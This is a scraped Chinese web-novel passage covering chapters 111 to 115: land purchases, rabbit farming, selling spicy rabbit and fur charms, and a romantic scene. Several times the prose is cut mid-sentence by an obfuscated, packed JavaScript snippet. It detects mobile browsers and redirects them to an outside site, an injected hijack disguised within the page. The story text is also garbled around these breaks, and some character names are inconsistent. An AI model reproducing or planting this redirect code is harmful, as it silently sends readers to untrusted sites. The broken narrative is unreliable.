宁芷薇站在窗前,望着远处起伏的山峦,眉头微蹙。晚霞染红了天际,为整个宁远镀上一层温暖的金色。她的手指无意识地摩挲着窗棂,思绪却早已飘向了那个令她牵挂的难题。 “我可以帮东睿的母妃解蛊,只能戴着面具示人。”她转身看向秦远霄,声音轻柔却坚定。 秦远霄正倚在书案旁,听到这话,眸光闪动:“确实如此。你的身份特殊,若是暴露,恐怕会引来不必要的麻烦。” 房间里一时陷入沉默,烛光在微风中轻轻摇曳,在墙上投下摇晃的影子。宁芷薇走到梳妆台前,手指轻轻拂过上面摆放的各色脂粉。 “我打算扮作一位老者。”她一边翻找着易容需要的物品,一边说道,“年迈的大夫比较不引人注目,而且可以借口嗓子不好,尽量少说话。” 秦远霄走到她身边,看着她熟练地挑选着各种易容用具,嘴角勾起一抹笑意:“就这么定了。三日后我去告诉东睿,就说找到了一位擅长解蛊的高人。” “这些日子我得好好准备一下。”宁芷薇拿起一块老姜,轻轻嗅了嗅,“要做到万无一失。” 第一百一十一章 夜色渐深,院子里传来虫鸣声,偶尔还有几声夜莺的啼叫。两人又商议了一些细节,直到更漏声响起,才各自回房。 次日清晨,晨雾还未散尽,几名官差就来到了秦家。为首的是个面容严肃的中年人,手里拿着文书,一副公事公办的模样。 “前日宁远发生天花误传,原定的土地丈量未能进行。”那人板着脸说道,“今日蒋大人特意派我等前来完成此事。” 秦远霄早已准备妥当,闻言立即吩咐下人准备工具:“有劳几位了,我这就带诸位去看看。” 一行人先来到荒地。春日的阳光温暖而不刺眼,照在新翻的黑土上,泛着润泽的光。官差们拿着丈量工具,认真地测量着每一寸土地。 “总共五十一亩地。”为首的官差在文书上写下这个数字,抬头看了看远处的山地,“接下来去山上看看。” 然而到了山地,情况就大不相同了。官差们只是在山脚转了一圈,甚至没有爬上山坡,就给出了一百亩的数字。 秦远霄看着眼前这片绵延的山地,心知这至少有三百亩。不过他并未点破,只是微微颔首。这必是蒋承志的授意,日后有的是机会还这份人情。 正当秦远霄忙于丈量土地时,宁芷薇这边也迎来了意料之外的消息。 “小姐!”丫鬟急匆匆地跑来,“吴族长派人来报,说苏家情况不妙,要变卖家产了!” 宁芷薇放下手中的医书,眉头微皱:“详细说说。” “说是苏家已经撑不住了,不但要卖良田,连祖宅都要出手。现在村里人都在议论纷纷。” 秦老夫人听闻此事,连忙过来劝道:“芷薇,你若要去看看,可得让庞勇陪着。这苏家向来阴险,别着了他们的道。” 宁芷薇点头应下,换了身素色衣裳就动身前往。等她到达苏家时,现场挤满了吃瓜群众,喧嚣声远远就能听见。 消息传得极快,不少外村人都闻讯而来。有的是真心想买地,有的纯粹是来看热闹。人群中不时传出窃窃私语,说苏家这是遭了报应。 梁家和段家的人也在场。见到宁芷薇,梁老爷子立刻迎了上来:“秦家媳妇来了?这苏家怕是在打什么主意。” 段老爷子也凑过来,压低声音道:“我看他们就是故意的,八成又在打什么歪主意。” 宁芷薇与两位长辈寒暄几句,便站到一旁静观其变。她倒要看看,苏家这次还能玩出什么花样。 不多时,一个白发苍苍的苏家老者颤巍巍地走了出来。他的脸上布满皱纹,眼角还挂着泪珠,看起来好不可怜。 “老天爷啊!”老者声音哽咽,“实在是走投无路了,不得不变卖祖产......” 说着,他招来一个年轻后生,让他带着外村人去看地。宁芷薇跟在人群后面,嘴角挂着若有若无的笑意。这苏家的把戏,她倒要看看能演到几时。 田边,苏家后生绘声绘色地介绍着:“这片良田可是上等的,年年都能收成好。产量比寻常田地高出许多,而且......” “少废话!”有人不耐烦地打断,“直接说价钱吧!” 后生挺直腰板,一字一顿道:“每亩地要十二两白银,已经很便宜了。” 此话一出,现场顿时炸了锅。 “你当我们是冤大头不成?” “这价钱,简直是抢钱!” “就是,普通良田也就五六两,你要十二两,怕不是想钱想疯了!” 众人纷纷摇头离去,很快现场就只剩下宁芷薇、梁家和段家的人。苏家后生垂头丧气地回去复命,族人们急得直跺脚。 老者气得一巴掌拍在后生头上:“蠢货!谁让你一口咬定十二两的!现在好了,人都走光了!” 眼看着买主都散了,苏家人只能将目光投向仅剩的几人。老者整了整衣襟,堆着笑脸走向宁芷薇。 “这位可是秦家的当家?”老者笑得谄媚,“不知道秦家对我们这些田地可有兴趣?价钱好商量啊。” 宁芷薇看着眼前这个前一刻还在哭诉命运不公,这一刻就笑脸相迎的老者,心中冷笑。这苏家的把戏,还真是一如既往的拙劣。 夏日的阳光透过树叶斑驳地洒在地上,宁芷薇站在苏家庄园外,目光淡淡地扫过眼前这片广袤的良 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490592|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 田。远处,几个佃户正弯着腰在田间劳作,麦浪随风起伏,勾勒出一幅田园风光。 “我在这里。”她轻声开口,嘴角挂着若有似无的笑意。 苏家老者闻声转头,目光落在这个年轻妇人身上时,眉头顿时皱了起来。他上下打量着宁芷薇,眼中闪过一丝不屑。 “小娘子,买地可是大事,你一个妇道人家能做得了主?”老者语气中带着几分轻蔑,“要不还是请秦家当家的来谈?” 宁芷薇并未因对方的轻视而动怒,她静静地站在那里,裙摆被微风轻轻拂动。这苏家人的傲慢与偏见,她早已见怪不怪。 “崔老先生不必费心,”她淡然一笑,“你家的耕地我并不感兴趣。” 话音刚落,苏家老者脸上的表情顿时僵住了。他没想到对方竟是这般态度,一时间又恼又怒,却又不好发作。 “哼!”最终只能冷哼一声,“果然是个不懂事的。” 老者转向一旁的梁天河和段承义,脸上的表情瞬间变得和煦起来:“两位,不知你们对这些耕地可有兴趣?这可都是上好的良田啊!” 梁天河眯起眼睛,目光在田地间缓缓扫过。他不紧不慢地捋着胡须,语气中带着几分考量:“要看价格如何。要价都到十二两了,恐怕我们也要掂量掂量。” “这个好说,好说。”苏家老者连忙道,脸上堆满笑容,“九两如何?这个价格已经很公道了。” “六两。”段承义突然开口,声音沉稳有力,“一分不能再多。” “什么?六两?”苏家老者瞪大了眼睛,脸上的笑容瞬间凝固,“这、这怎么可能?我们这可是上好的耕地!水利便捷,土质肥沃...” 段承义面无表情地打断了他:“就这个价,爱卖不卖。” 老者的脸色变得难看起来,额头上渗出细密的汗珠。他转身快步走向不远处**的苏家人,压低声音急切地商议起来。 宁芷薇站在原地,看着苏家人焦急的模样,心中暗自盘算。这些人如今正为朝廷的罚银发愁,迟早会同意这个价格。果然,没过多久,苏家人便不情不愿地点头应允。 第一百一十二章 段家和梁家各买了十亩,可这对苏家来说远远不够。他们原本打算卖出一百亩,如今才卖出去五分之一,剩下的银子从何而来? 看着苏家人愁眉不展的模样,宁芷薇觉得时机已到。她缓步上前,声音清亮:“其余的地,我秦家全都要了。” 苏家众人眼睛一亮,但还没等他们露出喜色,宁芷薇又补充道:“不过,我有个条件。” “什么条件?”苏家老者警惕地问道。 “山脚下那些荒地和破屋,一并卖给我。二十两银子,你们看如何?” “这......”苏家人面面相觑,神色间充满犹豫。 宁芷薇神色淡然:“不愿意也无妨,那这些良田我也不要了。”说完,她作势欲走。 “等等!”苏家老者连忙叫住她,“容我们商议一下。” 看着苏家人焦急地商议,宁芷薇心中暗笑。这些年苏家作恶多端,没少坑害他人,如今也该尝尝被人算计的滋味了。 最终,五百两银子,宁芷薇拿下了八十亩良田,外加山脚下的荒地和破屋。 等秦远霄带着地契回来时,夜色已经笼罩了大地。院中的灯笼散发着昏黄的光芒,宁芷薇坐在廊下的藤椅上,望着远处若隐若现的山影,开始盘算接下来的打算。 那些良田自不必说,倒是那些荒地,需要尽快清理出来。想到这里,她唤来一旁候着的丫鬟:“去请赵、周两位族长明日一早过来。” 第二天一早,晨露未干,赵、周两位族长就匆匆赶到。宁芷薇将清理荒地的事情详细说明,两位族长连连点头。 “族长放心,这事包在我们身上。”杨族长拍着胸脯保证,“我这就去召集人手,保证三天之内将荒地清理干净。” “对对对,”吴族长也附和道,“我们村里的壮劳力多的是,保证办得妥妥当当。” 看着两位族长匆匆离去的背影,宁芷薇嘴角微扬。这一切,不过是个开始罢了。她转身走进屋内,取出一张纸开始仔细规划起来。 院子里,几只麻雀叽叽喳喳地落在树枝上,阳光透过树叶在地上投下斑驳的影子。远处传来村民们干活的吆喝声,一切都显得那么平静祥和。 但宁芷薇知道,这份平静即将被打破。她要让那些曾经欺压百姓的人付出代价,要让这片土地重新焕发生机。这不仅仅是为了报复,更是为了改变这里的一切。 寒风凛冽,塞北的冬季虽然严寒,但土地尚未冻结。宁芷薇站在新开垦的荒地边缘,看着族人们忙碌的身影,不时有寒风掠过她的面颊,带来一丝刺痛。 远处,杨家和吴家的族人扛着锄头、铁锹陆续赶来。他们脸上带着期待,三三两两地交谈着。干多少活得多少钱的条件,让大家干劲十足。 “大家伙儿加把劲!”杨大叔挥舞着锄头,“这片地开出来,明年就能种上粮食了!” “可不是嘛!”吴婶擦了擦额头的汗水,“听说还能分到地,这可是大好事!” 宁芷薇看着眼前热火朝天的场景,心里却在盘算着家中那些兔子的口粮问题。随着天气转冷,青草渐渐枯萎,储存的饲料也所剩无几。 “远霄。”她转头看向身旁的男人,轻声道,“我们该去宁远了。” 秦远霄点头,目光在族人们身上扫过:“让五哥看着点这边。” 两人骑马前往宁远,街道上行人稀少,冷风呼啸而过。他们先去了沈家,看望还在病中的沈良萱。 推开房门,一股药味扑面而来。沈良萱正靠在床头看书,见到两人眼睛一亮:“姐姐,姐夫!” 宁芷薇走近查看她的情况,虽然身上的疹子还未完全消退,但精神明显好了许多。她从袖中取出一个精致的瓷瓶:“这是除疤的药膏,记得每天都要涂。” “谢谢姐姐。”沈良萱接过药膏,眼中闪过一丝感动,“我这次真是多亏了你们。” “傻丫头,说这些做什么。”宁芷薇轻轻揉了揉她的头发,“好好养着,等痊愈了来东麓村玩。” 离开沈家后,两人在城中转了几圈,找到一处偏僻的废弃房屋。确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490593|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认四下无人,宁芷薇从界阙中取出大量胡萝卜和白菜,将其堆放在屋内。 “我去雇辆牛车。”秦远霄说着便转身离开。 宁芷薇整理着蔬菜,心中盘算着储存量。这些应该够兔子吃上一段时间了,就是不知道运输会不会引人注目。 不多时,秦远霄赶着一辆牛车回来。两人将蔬菜装上车,用麻布仔细遮盖。 “时辰不早了。”秦远霄看了看天色,“该去见东睿了。” 他们来到约定的茶楼,刚踏上楼梯就听见急促的脚步声。 “你们可算来了!”东睿快步迎上来,眼中带着迫切,“那位高人可有消息?” 秦远霄示意他进了包间,这才开口:“联系上了,不过高人最近要闭关三个月。” 东睿的表情瞬间凝固,眼中闪过一丝失望。他沉默片刻,又重新燃起希望:“三个月...也好,总算有了盼头。这段时间我正好可以做些准备。” “睿王准备何时启程?”宁芷薇给他倒了杯茶,轻声问道。 “即刻动身。”东睿站起身,来回踱步,“我得尽快回京城安排,这件事拖得越久越容易出问题。” 秦远霄眉梢微挑:“把鸟留在这儿独自跑了?就不怕露出马脚?” “若是没联系上高人,我确实会请秦雪松同行。”东睿苦笑着摇头,“但现在...三个月时间,我自有应对之策。况且秦雪留在这里,对你们也是个保障。” 送走东睿一行人后,秦远霄和宁芷薇并未立即离开,而是暗中观察。直到确认他们真的出城,两人才赶着牛车往东麓村返回。 寒风呼啸,道路两旁的树木光秃秃的,只剩下几片枯黄的叶子在风中摇曳。宁芷薇裹紧了披风,望着前方发呆。 “在想什么?”秦远霄察觉到她的心不在焉。 “在想东睿。”宁芷薇叹了口气,“他这么着急回京,不知道会不会节外生枝。” 秦远霄握住她的手:“别想那么多,现在的当务之急是把东麓村安顿好。” 第一百一十三章 东麓村,生活渐渐步入正轨。八哥每日去衙门当值,五哥夫妇忙着照料兔子。墨圆儿倒是成了兔舍里的小霸王,一声令下,那些兔子都乖乖听话。 “九弟妹!”五嫂急匆匆地跑来,“我发现咱们的公兔太多了,这样下去饲料消耗太大。” 宁芷薇正在指导几个妇人做绣偶,闻言停下手中的活计:“留十来只做种就够了,其他的......” “我明白。”五嫂点头,“我这就去安排。” 不多时,五嫂又来报信:“九弟妹,兔子都处理好了,皮子也完整地剥下来了。” 宁芷薇放下手中的针线:“走,我去看看。” 兔舍里,几个妇人正在处理兔皮。宁芷薇仔细检查了一遍,确认皮子都保存完好,这才松了口气。 “这些皮子晾干后要好好保存。”她叮嘱道,“等积攒够了数量,我们就可以做些皮草制品。” 妇人们眼前一亮,纷纷议论起来。 “九弟妹真是有主意。” “就是,这兔子不光能吃肉,连皮子都能用上。” 宁芷薇笑而不语,转身去查看其他兔子的情况。墨圆儿正趴在一堆干草上打盹,见她来了,懒洋洋地抬起头,喵了一声。 “小懒猫。”宁芷薇蹲下身,轻轻抚摸它的脑袋,“你倒是会享福。” 夜幕降临,东麓村渐渐安静下来。宁芷薇坐在院子里,看着满天繁星,心中思绪万千。不知道东睿此时已经走到哪里了,也不知道那位所谓的高人,真的能解决问题吗? “别想了。”秦远霄端着热茶走来,“船到桥头自然直。” 宁芷薇接过茶杯,温热的触感从指尖传来:“我总觉得事情没那么简单。” “有我在。”秦远霄揽住她的肩膀,语气坚定。 远处传来几声犬吠,寒风掠过庭院,带来一丝凉意。宁芷薇靠在秦远霄怀里,闭上眼睛。至少此刻,她还能安稳地待在这里。 宁芷薇正逗着墨圆玩耍,小家伙圆滚滚的身子在她掌心打着滚,毛茸茸的触感让人心情愉悦。忽听院中传来脚步声,她连忙将墨圆收回界阙,尾随五婶溜达进了后花园。 后花园石板上整整齐齐摆放着十只剥好皮的兔子,雪白的兔皮被五哥挂在竹竿上随风轻摆。阳光透过竹叶的缝隙洒在兔皮上,反射出柔和的光泽。 看着这些兔皮,宁芷薇不由得陷入沉思。她的脑海中浮现出一套完整的处理工序:先将新鲜兔皮晾干,再用钝铲小心翼翼地去除油脂和残肉,然后浸泡一两日使其恢复鲜皮状态,最后晾干便能得到柔软的皮子。这些皮子若是处理得当,做成手套或者围脖都是不错的选择。 眼下兔皮已经挂好,接下来就该处理这些肥美的兔肉了。她蹲下身子,仔细打量着石板上的兔肉。每一只都膘肥体壮,肉质紧实,这都得益于界阙的神奇之处。 圈养一堆长耳朵兔子,自然是为了赚钱。若是直接卖给酒楼,虽说也能赚些,但远不及她心中盘算的收益多。她轻轻抚摸着兔子细腻的肉质,眼中闪过一丝精明。 她正要拿两只兔子去厨房,五哥开口道:“九弟妹,我以前打的野兔送去酒楼,处理好一只能换一百三十铜板。”说着,他不好意思地挠了挠头,“这价钱在村里已经算是不错的了。” 宁芷薇暗自摇头,这界阙出品的兔子个头大、肉质好,一只少说六七斤重,卖这个价钱实在太亏了。她的手指无意识地摩挲着兔子的后腿,那里的肉质最为鲜嫩。 不过也要考虑当下的物价水平,她的法子就算只卖一两银子,也比现在翻上好几倍了。她得好好琢磨琢磨,既要让利润最大化,又不能太过惊世骇俗。 “五哥,我想试着做成熟食再卖,应该能多赚些。”她轻声说道,目光落在那些肥美的兔子上。 五哥眼睛一亮,脸上露出期待的神色:“那敢情好,九弟妹有什么需要帮忙的尽管说。”他搓了搓手,语气中带着些许遗憾,“若不是身子还没完全好,我早就想进山打猎赚钱了。” 宁芷薇提着两只兔子去了厨房。趁着嫂嫂们都在忙着做绣偶,她悄悄从界阙取出调料,按照前世的方子开始制作醉香兔。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498110|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她先将兔肉切成大小适中的块状,然后用料酒、姜片腌制。趁着这个空档,她开始准备其他配料:干辣椒、花椒、八角、桂皮、香叶......每一样都要按照精确的比例来放。 油锅烧热,兔肉下锅翻炒。滋滋的声响中,一股诱人的香气开始在厨房里弥漫。她专注地盯着锅中的兔肉,时不时用筷子翻动,确保每一块都能均匀入味。 很快,麻辣鲜香的味道便在厨房里弥漫开来。她用界阙里的电子秤称了称,两只兔子生的重十三斤八两,做好后只剩七斤左右。看着色泽红亮、香气四溢的醉香兔,她满意地点了点头。 这么算来,若是论斤卖,一斤至少要三百文才划算。她掰着手指算了算,不如分成二十份,每份一百文,这价格听着也不算太离谱。毕竟是独家秘方,卖贵些也说得过去。 当然,第一次做出来的要先给家里人尝尝,得到认可再说。她将一块兔肉放入口中,麻辣的味道瞬间在舌尖绽放,肉质鲜嫩多汁,令人回味无穷。 她将醉香兔放在厨房里晾着,自己回房打算洗去一身油烟味。刚进界阙陪墨圆玩了会儿,出来时已是傍晚,夕阳的余晖染红了半边天空。 再去厨房时,眼前的景象让她愣住了。 几位嫂嫂正围着桌子,人手一块兔肉,吃得满脸通红却又停不下来。大嫂的额头上已经冒出细密的汗珠,二嫂不停地用袖子擦着嘴角,三嫂更是顾不上形象地大口咀嚼着。 见她进来,二嫂笑道:“九弟妹,这么好吃的东西是你做的吧?我们正想做晚餐,一尝就停不下来了。”说着,她又撕下一块肉放入口中。 “嫂嫂们觉得味道如何?”宁芷薇笑着问道,心中已经有了答案。 “太好吃了!” “辣得过瘾!” “吃完这块还想吃下一块!” 嫂嫂们你一言我一语,脸上都带着满足的笑容。 看着她们陶醉的表情,宁芷薇知道这生意有戏。今晚把剩下八只也做了,明早就带去城里卖卖试试。她的眼中闪过一丝期待,却又带着几分谨慎。 第一百一十四章 晚饭后,嫂嫂们都跟着她去了厨房帮忙。宁芷薇早就准备好调料,也不怕露出破绽,将每个步骤都仔细教给她们。 “先把兔肉切成这样大小的块,”她拿起菜刀示范,“然后用料酒腌制半个时辰......” 厨房里热闹非凡,几个人配合默契,有的切肉,有的配料,有的看火候。折腾了好几个钟头,八只兔子也做好了。大嫂尝了一块,笑道:“味道一模一样,九弟妹教得真好。” 回到房间,秦远霄一把将她搂进怀里。他的动作轻柔却不容拒绝,温热的呼吸拂过她的耳畔。 “我身上都是油烟味。”她挣扎着要躲开,脸上飞快闪过一丝羞涩。 “无妨,”他将她搂得更紧,低沉的声音中带着笑意,“娘子长啥样我都中意。” 宁芷薇无奈,这人现在说起情话来是越发的得心应手了。她靠在他的怀里,闻着他身上淡淡的檀香味,心中涌起一阵温暖。 远处传来嫂嫂们的说笑声,宁芷薇收敛心神,起身向厨房走去。 “九弟妹来啦!”二嫂正在揉面,见她进来,连忙擦了擦手上的面粉。 “各位嫂嫂,”宁芷薇笑着从怀中掏出一叠彩色的东西,“我这儿有个新主意。这是我染好的兔皮,咱们可以做些新玩意儿。” “哎呀!”七嫂惊呼一声,“这颜色真好看!九弟妹,你是从哪儿弄来的染料?” 其他嫂嫂也纷纷围了上来,七手八脚地抚摸着那些柔软的彩色兔皮。宁芷薇神秘一笑:“这是我从洋人那里买来的。” 她又取出一张图纸,上面画着一只可爱的玉耳兔:“咱们可以用这些兔皮做些小玩意儿,比如这样的挂件。” “这个好可爱!”六嫂眼睛一亮,“九弟妹,你这脑子里装的都是些什么新奇玩意儿啊?” 宁芷薇耐心地教导嫂嫂们制作方法:“先把兔皮裁成这样的形状,然后...” 正说着,外面传来一阵脚步声。秦远霄满身尘土地走了进来,显然是刚从荒地那边回来。他的额头上还挂着细密的汗珠,衣服也沾满了泥土。 “娘子。”他冲宁芷薇笑了笑,“荒地都清理好了,明年开春就能种上庄稼了。” 宁芷薇点点头:“辛苦了,快去洗洗吧,我让人给你准备些吃的。” 秦远霄应了一声,转身去了后院。宁芷薇望着他的背影,心中泛起一丝复杂的情绪。 “九弟妹,”二嫂突然开口,“你说这些小玩意儿,能卖多少钱?” 宁芷薇回过神来:“这得看做工。若是做得精致,一个至少能卖五百文。” “这么多?”嫂嫂们惊呼出声。 “当然,”宁芷薇笑道,“不过前提是要做得好。来,我教你们...” 一整个下午,厨房里都充满了欢声笑语。到傍晚时分,嫂嫂们已经初步掌握了制作方法。 “九弟妹,”大嫂擦了擦额头的汗,“你说得对,咱们女人也得有自己的手艺。” 不久,宁芷薇将一个精致的玫红色兔子挂件拿在手中,指尖轻轻摩挲着那柔软的绒毛。阳光从窗棂间洒落,为这小巧的饰品镀上一层温暖的光晕。 六嫂的手艺果然了得,这玉耳兔的**色均匀,四个爪尖的白色也恰到好处。尤其是那双晶莹剔透的眼睛,在光线的折射下闪烁着微光,仿佛注入了生命一般。宁芷薇不禁想起了前世仙市阁商铺里那些精美的饰品,而眼前这个兔子挂件,丝毫不逊色于那些工厂批量生产的商品。 “六嫂,这手艺真是绝了!”宁芷薇由衷赞叹,目光中满是惊喜。 六嫂被夸得脸颊微红,连忙摆手:“九弟妹过奖了,都是按照你的图纸来的。这兔毛是我特意挑选的,揉搓了好几遍才用的。” “可不是嘛,”二嫂凑近细看,“我昨儿个路过六弟妹院子时,还看见她在月光下挑拣兔毛呢。” 七嫂也伸手摸了摸那柔软的兔毛,眼中闪过一丝赞叹:“这兔毛做出来的挂件,手感就是不一样。六弟妹这手艺,怕是比那些绣坊里的绣娘都强。” 屋内的气氛渐渐热络起来,几位嫂嫂你一言我一语,讨论着这精巧的挂件。宁芷薇看着眼前这温馨的场面,心中涌起一股暖意。在这个陌生的时空,能得到这些嫂嫂们的支持,实在是她的幸运。 就在这时,大嫂突然开口:“九弟妹,我看这挂件还缺个挂绳,要不让我试试?”她的声音温和,带着几分试探。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498111|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不等宁芷薇回答,大嫂已经麻利地找来一捆大红色的丝线。她那双布满老茧的手指灵活地将线分成十股,动作娴熟地搓在一起。只见她的手指翻飞如蝶,时而收紧时而放松,没多久就编出了一个漂亮的金刚结。 “这...这也太完美了!”宁芷薇惊喜地看着那个精巧的结,它与兔子挂件的风格完美融合。 大嫂将金刚结递给她,脸上浮现出一丝怀念:“小时候跟着娘学的,那会儿家里穷,连个玩具都买不起,就只能自己编些小玩意儿。没想到现在还能派上用场。” 宁芷薇接过金刚结,心中暗喜。她原本还在发愁用什么来代替仙市阁商铺里那种金属挂钩,没想到大嫂就这么完美地解决了问题。这金刚结不仅做工精致,还带着浓浓的古风韵味,比那些现代饰品更有特色。 “大嫂,您这手艺可真是绝了!”四嫂也凑过来称赞道,“我记得您以前还会编蝴蝶结,要不也教教我们?” 大嫂笑着点头:“那咱们干脆来个编织会?反正这几天也没什么大事。” 就这样,几位嫂嫂齐心协力,分工合作。六嫂负责制作兔子的主体,大嫂编织各式各样的挂绳,其他人则帮忙处理兔毛、缝制细节。整个院子里充满了欢声笑语,就连往日严肃的老夫人路过时,也露出了欣慰的笑容。 三天后,在嫂嫂们的通力合作下,一百个色彩各异的绒云坠整整齐齐地摆在宁芷薇面前。有玫红色的、淡紫色的、天蓝色的,每一个都做工精良,独具特色。 “腊月将至,正是销售的好时机。”宁芷薇暗自思忖着,随即决定去找沈良远。这位在商场上打拼多年的商人,必定能给她一些好建议。 沈良远刚从外地回来,风尘仆仆地赶到秦府。看到这些精致的绒云坠时,一向稳重的他都忍不住露出了惊喜的神色。 “九嫂,这手艺...这做工...”他爱不释手地把玩着一个淡紫色的挂件,眼中闪烁着惊叹的光芒。 宁芷薇笑道:“沈兄弟觉得如何?” “这绝对能卖个好价钱!”沈良远斩钉截铁地说,“郡城那边最近正流行这种精致的小玩意儿,尤其是那些富贵人家的小姐们,最喜欢这种别致的饰品了。” 第一百一十五章 果不其然,第二天一早,沈良远就急匆匆地找上门来。他的脸上带着掩饰不住的兴奋:“九嫂,那些挂件在郡城可抢手了!一个能卖到十二两银子,而且还有不少人想预订呢!” 宁芷薇听到价格也是一惊,这可比她预想的要高出不少。不过转念一想,那些眼睛确实是从仙市阁商铺买来的好东西,再加上六嫂精湛的手艺和大嫂独特的编织技法,卖这个价格倒也不算太离谱。 “那就麻烦沈兄弟了。”宁芷薇笑着说,“不过得提前说好,这些挂件都是手工制作的,数量有限。” 沈良远连连点头:“九嫂放心,我心里有数。这种精品就该走精品路线,数量少反而更显珍贵。” 小年那天,秦府上下一片忙碌。丫鬟们来回穿梭,准备着祭灶的物品。秦老夫人特意找来秦瑾高,要他画一幅灶神像。 “五哥以前每年都画的。”宁芷薇在一旁小声对秦远霄说,眼中闪过一丝担忧。 看着秦瑾高握笔时略显迟疑的样子,宁芷薇心中一紧。她知道,每当五哥试图回忆过去的事情时,都会头痛欲裂。那些被封存的记忆就像一把双刃剑,既是珍贵的过往,又是难以承受的痛苦。 但这一次,秦瑾高并没有出现剧烈的头痛。他只是静静地坐在那里,笔尖轻轻地在宣纸上游走。那些线条仿佛有了生命,在纸上流淌,渐渐勾勒出灶神的形象。 宁芷薇暗暗松了口气,或许这就是个好兆头。五哥的记忆虽然还未完全恢复,但至少在画画这件事上,他的手似乎还记得从前的一切。 宁芷薇拉着秦远霄躲进界阙,生怕隔壁听见什么动静。古代房子隔音实在太差,要是被家人听见了什么,明早还不知道要怎么面对。她下意识地摸了摸发烫的脸颊,连耳根都在发烧。 屋内昏黄的灯光下,她闻到自己身上还带着油烟味,不由皱了皱眉。转身想去浴室冲洗,却被身后的男人拦腰抱住。 “别动。”秦远霄低沉的声音在她耳边响起,温热的气息拂过她的耳垂,惹得她一阵颤栗。 “我身上都是油烟味。”宁芷薇挣扎着想要逃开,却被他抱得更紧。 “我不嫌弃。”秦远霄轻笑一声,“媳妇儿辛苦了,我来帮你洗。” 宁芷薇心跳漏了一拍,这男人什么时候变得这么会撩了?还没等她反应过来,就被他打横抱起。她惊呼一声,下意识搂住他的脖子。 浴室里很快升腾起氤氲的水汽,模糊了两人的身影。温热的水流顺着发丝滑落,秦远霄的手指穿过她的长发,轻柔地替她按摩头皮。 “今天做了这么多吃食,手都酸了吧?”他握住她的手,一根根手指细细揉捏。 宁芷薇想说不累,可当他的指腹划过她的掌心时,一股酥麻感顺着手臂蔓延到全身。她咬着唇,努力克制住想要逃开的冲动。 秦远霄却像是察觉到她的躲闪,忽然俯身吻住她的唇。这个吻霸道又温柔,带着不容拒绝的力度。宁芷薇只觉得浑身发软,整个人都被他牢牢掌控。 哗哗的水声中,她渐渐沉沦,主动仰起脖子回应他的吻。时光悄然流逝,秦远霄才放开她。宁芷薇大口喘着气,脸颊绯红,眼中水雾朦胧。 秦远霄拿过浴巾把她裹住,又一把将她抱起。“夜还长着呢,媳妇儿。”他低笑着在她耳边呢喃。 一夜缠绵,直到东方泛白,宁芷薇才沉沉睡去。等她再次醒来时,阳光已经透过窗棂洒满了整个房间。 她揉着酸软的腰走出房门,迎面撞上几位嫂嫂意味深长的目光。那些目光齐刷刷地落在她的小腹上,让她恨不得找个地缝钻进去。 “昨晚睡得可好?”大嫂笑眯眯地问。 “我...我睡得挺好的。”宁芷薇尴尬地轻咳两声,这种事情解释反而更糟。 “是啊,睡得可真好。”二嫂意有所指地看了眼她的脖子。 宁芷薇这才想起自己没穿着高领的衣服,连忙转移话题:“嫂嫂们帮忙把醉香兔分装一下吧。” 几位嫂嫂默契地没有再调侃她,开始帮忙分装。宁芷薇松了口气,专心致志地忙活起来。 吃过早饭,秦远霄赶着骡车准备带她进城。刚到大门口,就见一辆华贵的马车疾驰而来,车轮扬起的尘土还未落定,沈良远就从车上跳了下来。 “秦九哥、九嫂这是要出门?”他笑着打招呼,眼中闪着精明的光芒。 宁芷薇从车厢里探出头:“准备去城里卖些吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 